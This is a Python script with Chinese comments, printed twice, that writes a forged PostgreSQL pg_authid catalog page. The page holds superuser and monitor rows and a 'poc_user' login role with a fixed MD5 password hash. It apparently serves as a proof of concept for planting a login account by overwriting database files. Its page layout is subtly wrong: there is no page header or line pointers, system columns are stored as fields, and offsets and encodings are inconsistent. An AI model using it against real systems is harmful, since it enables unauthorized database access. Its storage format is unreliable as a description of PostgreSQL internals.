#!/usr/bin/env python3
import struct
# PostgreSQL 页面大小 8KB
PG_PAGE_SIZE = 8192
def create_pg_authid_filenode():
# 创建空页面(8KB)
page_data = bytearray(PG_PAGE_SIZE)
# --------------------------
# 第一个元组:postgres 用户 (oid=10)
# --------------------------
tuple_offset = 256 # 元组起始偏移
# 元组长度(144字节)
page_data[tuple_offset:tuple_offset+2] = struct.pack('H', 144)
tuple_offset += 2
# 跳过元组头部(23字节)
tuple_offset += 23
# 系统字段(tableoid, cmax, xmax, cmin, xmin, ctid)
# tableoid (oid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 1260)
tuple_offset += 4
# cmax (cid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
# xmax (xid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
# cmin (cid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
# xmin (xid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 10)
tuple_offset += 4
# ctid (tid, 6字节)
page_data[tuple_offset:tuple_offset+6] = struct.pack('HH', 0, 0) + b'\x00'
tuple_offset += 6
# pg_authid 核心字段
# oid (oid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 10)
tuple_offset += 4
# rolname (name, 64字节) - postgres
rolname = b'postgres' + b'\x00' * (64 - len(b'postgres'))
page_data[tuple_offset:tuple_offset+64] = rolname
tuple_offset += 64
# rolsuper (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolinherit (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolcreaterole (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolcreatedb (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolcanlogin (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolreplication (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolbypassrls (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolconnlimit (int4, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', -1)
tuple_offset += 4
# rolpassword (text, -1) - NULL
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 0)
tuple_offset += 4
# rolvaliduntil (timestamptz, 8字节)
page_data[tuple_offset:tuple_offset+8] = struct.pack('d', 0.0)
tuple_offset += 8
# --------------------------
# 第二个元组:pg_monitor 用户 (oid=3373)
# --------------------------
tuple_offset = 768 # 第二个元组起始偏移
# 元组长度(144字节)
page_data[tuple_offset:tuple_offset+2] = struct.pack('H', 144)
tuple_offset += 2
# 跳过元组头部(23字节)
tuple_offset += 23
# 系统字段
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 1260)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 10)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+6] = struct.pack('HH', 0, 1) + b'\x00'
tuple_offset += 6
# pg_authid 核心字段
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 3373)
tuple_offset += 4
rolname = b'pg_monitor' + b'\x00' * (64 - len(b'pg_monitor'))
page_data[tuple_offset:tuple_offset+64] = rolname
tuple_offset += 64
page_data[tuple_offset] = 0 # rolsuper
tuple_offset += 1
page_data[tuple_offset] = 1 # rolinherit
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcreaterole
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcreatedb
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcanlogin
tuple_offset += 1
page_data[tuple_offset] = 0 # rolreplication
tuple_offset += 1
page_data[tuple_offset] = 0 # rolbypassrls
tuple_offset += 1
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', -1) # rolconnlimit
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 0) # rolpassword (NULL)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+8] = struct.pack('d', 0.0) # rolvaliduntil
tuple_offset += 8
# --------------------------
# 第十个元组:poc_user 用户 (oid=16386)
# --------------------------
tuple_offset = 10000 # 第十个元组起始偏移(注意:8KB内)
if tuple_offset > PG_PAGE_SIZE:
tuple_offset = 4096
# 元组长度(152字节)
page_data[tuple_offset:tuple_offset+2] = struct.pack('H', 152)
tuple_offset += 2
# 跳过元组头部(23字节)
tuple_offset += 23
# 系统字段
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 1260)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 10)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+6] = struct.pack('HH', 0, 9) + b'\x00'
tuple_offset += 6
# pg_authid 核心字段
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 16386)
tuple_offset += 4
rolname = b'poc_user' + b'\x00' * (64 - len(b'poc_user'))
page_data[tuple_offset:tuple_offset+64] = rolname
tuple_offset += 64
page_data[tuple_offset] = 0 # rolsuper
tuple_offset += 1
page_data[tuple_offset] = 1 # rolinherit
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcreaterole
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcreatedb
tuple_offset += 1
page_data[tuple_offset] = 1 # rolcanlogin
tuple_offset += 1
page_data[tuple_offset] = 0 # rolreplication
tuple_offset += 1
page_data[tuple_offset] = 0 # rolbypassrls
tuple_offset += 1
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', -1) # rolconnlimit
tuple_offset += 4
# rolpassword (text) - md58616944eb80b569f7be225c2442582cd
password = b'md58616944eb80b569f7be225c2442582cd'
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', len(password) + 4)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+len(password)] = password
tuple_offset += len(password)
# rolvaliduntil
page_data[tuple_offset:tuple_offset+8] = struct.pack('d', 0.0)
tuple_offset += 8
# 写入文件
with open('pg_authid_filenode', 'wb') as f:
f.write(page_data)
print("已生成 pg_authid_filenode 文件")
if __name__ == '__main__':
create_pg_authid_filenode()
import struct
# PostgreSQL 页面大小 8KB
PG_PAGE_SIZE = 8192
def create_pg_authid_filenode():
# 创建空页面(8KB)
page_data = bytearray(PG_PAGE_SIZE)
# --------------------------
# 第一个元组:postgres 用户 (oid=10)
# --------------------------
tuple_offset = 256 # 元组起始偏移
# 元组长度(144字节)
page_data[tuple_offset:tuple_offset+2] = struct.pack('H', 144)
tuple_offset += 2
# 跳过元组头部(23字节)
tuple_offset += 23
# 系统字段(tableoid, cmax, xmax, cmin, xmin, ctid)
# tableoid (oid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 1260)
tuple_offset += 4
# cmax (cid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
# xmax (xid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
# cmin (cid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
# xmin (xid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 10)
tuple_offset += 4
# ctid (tid, 6字节)
page_data[tuple_offset:tuple_offset+6] = struct.pack('HH', 0, 0) + b'\x00'
tuple_offset += 6
# pg_authid 核心字段
# oid (oid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 10)
tuple_offset += 4
# rolname (name, 64字节) - postgres
rolname = b'postgres' + b'\x00' * (64 - len(b'postgres'))
page_data[tuple_offset:tuple_offset+64] = rolname
tuple_offset += 64
# rolsuper (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolinherit (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolcreaterole (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolcreatedb (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolcanlogin (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolreplication (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolbypassrls (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolconnlimit (int4, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', -1)
tuple_offset += 4
# rolpassword (text, -1) - NULL
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 0)
tuple_offset += 4
# rolvaliduntil (timestamptz, 8字节)
page_data[tuple_offset:tuple_offset+8] = struct.pack('d', 0.0)
tuple_offset += 8
# --------------------------
# 第二个元组:pg_monitor 用户 (oid=3373)
# --------------------------
tuple_offset = 768 # 第二个元组起始偏移
# 元组长度(144字节)
page_data[tuple_offset:tuple_offset+2] = struct.pack('H', 144)
tuple_offset += 2
# 跳过元组头部(23字节)
tuple_offset += 23
# 系统字段
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 1260)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 10)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+6] = struct.pack('HH', 0, 1) + b'\x00'
tuple_offset += 6
# pg_authid 核心字段
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 3373)
tuple_offset += 4
rolname = b'pg_monitor' + b'\x00' * (64 - len(b'pg_monitor'))
page_data[tuple_offset:tuple_offset+64] = rolname
tuple_offset += 64
page_data[tuple_offset] = 0 # rolsuper
tuple_offset += 1
page_data[tuple_offset] = 1 # rolinherit
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcreaterole
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcreatedb
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcanlogin
tuple_offset += 1
page_data[tuple_offset] = 0 # rolreplication
tuple_offset += 1
page_data[tuple_offset] = 0 # rolbypassrls
tuple_offset += 1
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', -1) # rolconnlimit
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 0) # rolpassword (NULL)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+8] = struct.pack('d', 0.0) # rolvaliduntil
tuple_offset += 8
# --------------------------
# 第十个元组:poc_user 用户 (oid=16386)
# --------------------------
tuple_offset = 10000 # 第十个元组起始偏移(注意:8KB内)
if tuple_offset > PG_PAGE_SIZE:
tuple_offset = 4096
# 元组长度(152字节)
page_data[tuple_offset:tuple_offset+2] = struct.pack('H', 152)
tuple_offset += 2
# 跳过元组头部(23字节)
tuple_offset += 23
# 系统字段
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 1260)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 10)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+6] = struct.pack('HH', 0, 9) + b'\x00'
tuple_offset += 6
# pg_authid 核心字段
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 16386)
tuple_offset += 4
rolname = b'poc_user' + b'\x00' * (64 - len(b'poc_user'))
page_data[tuple_offset:tuple_offset+64] = rolname
tuple_offset += 64
page_data[tuple_offset] = 0 # rolsuper
tuple_offset += 1
page_data[tuple_offset] = 1 # rolinherit
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcreaterole
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcreatedb
tuple_offset += 1
page_data[tuple_offset] = 1 # rolcanlogin
tuple_offset += 1
page_data[tuple_offset] = 0 # rolreplication
tuple_offset += 1
page_data[tuple_offset] = 0 # rolbypassrls
tuple_offset += 1
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', -1) # rolconnlimit
tuple_offset += 4
# rolpassword (text) - md58616944eb80b569f7be225c2442582cd
password = b'md58616944eb80b569f7be225c2442582cd'
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', len(password) + 4)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+len(password)] = password
tuple_offset += len(password)
# rolvaliduntil
page_data[tuple_offset:tuple_offset+8] = struct.pack('d', 0.0)
tuple_offset += 8
# 写入文件
with open('pg_authid_filenode', 'wb') as f:
f.write(page_data)
print("已生成 pg_authid_filenode 文件")
if __name__ == '__main__':
create_pg_authid_filenode()